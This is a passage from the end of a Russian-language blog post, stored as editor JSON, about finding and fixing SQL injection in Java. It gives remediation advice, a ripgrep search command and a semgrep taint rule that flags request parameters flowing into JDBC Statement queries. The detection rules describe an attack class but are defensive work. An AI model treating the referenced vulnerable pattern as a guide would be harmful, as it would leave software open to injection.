силы.","type":"unstyled","key":"cm2sd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":24,"offset":3,"style":"BOLD"}],"text":"5. Статический анализ в CI. Semgrep или CodeQL ловят «строка SQL + конкатенация переменной» на ревью.","type":"unstyled","key":"5kue4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":20,"offset":3,"style":"BOLD"}],"text":"6. WAF — временная мера, не замена фикса.","type":"unstyled","key":"2n4fn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Найти это грепом","type":"header-two","key":"25o4j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Весь класс бага — это SQL-строка, склеенная с переменной. Такое ищется за десять секунд еще до пентеста.","type":"unstyled","key":"dp9fn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Грубый, но рабочий фильтр по репозиторию (ripgrep, многострочный режим):","type":"unstyled","key":"dj5u3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"rg -U -i 'select[^\"]*\"\\s*\\+' --type java","type":"blockquote","key":"3gton"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"62l35"},{"data":{"image":{"id":"6abb8cfba7f0297f55146cc5"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"bk7f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Точнее — правило semgrep, которое ловит поток от getParameter в Statement (taint):","type":"unstyled","key":"5u5u0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"rules:\n - id: jdbc-sqli-concat\n languages: [java]\n severity: ERROR\n message: SQL-строка склеена с недоверенными данными — используйте PreparedStatement\n mode: taint\n pattern-sources:\n - pattern: (HttpServletRequest $R).getParameter(...)\n pattern-sinks:\n - pattern: (Statement $S).executeQuery(...)\n - pattern: (Statement $S).execute(...)","type":"blockquote","key":"4pfi9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"96gjr"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Одно такое правило в CI ловит весь класс до прода — и warehouseId, и любой следующий параметр, который кто-нибудь склеит в запрос на автопилоте.","type":"unstyled","key":"3sqnb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Коротко","type":"header-two","key":"11n38"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пятнадцать минут чтения кода — и есть полная картина: какой параметр, в каком контексте, за какими условиями, в какой базе. Дальше — короткий запрос и понятный фикс.","type":"unstyled","key":"79pn1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Инъекции редко прячутся в экзотике. Обычно это скучная строка, написанная на автопилоте. Цена вопроса — один PreparedStatement.","type":"unstyled","key":"blbd2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"csg0o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"kJxxjvAjEhbKEP0BX7Ud"}],"entityMap":{"0":{"data":{"url":"https://abp2b.com/pentest-prilozheniya?utm_source=dzen"},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}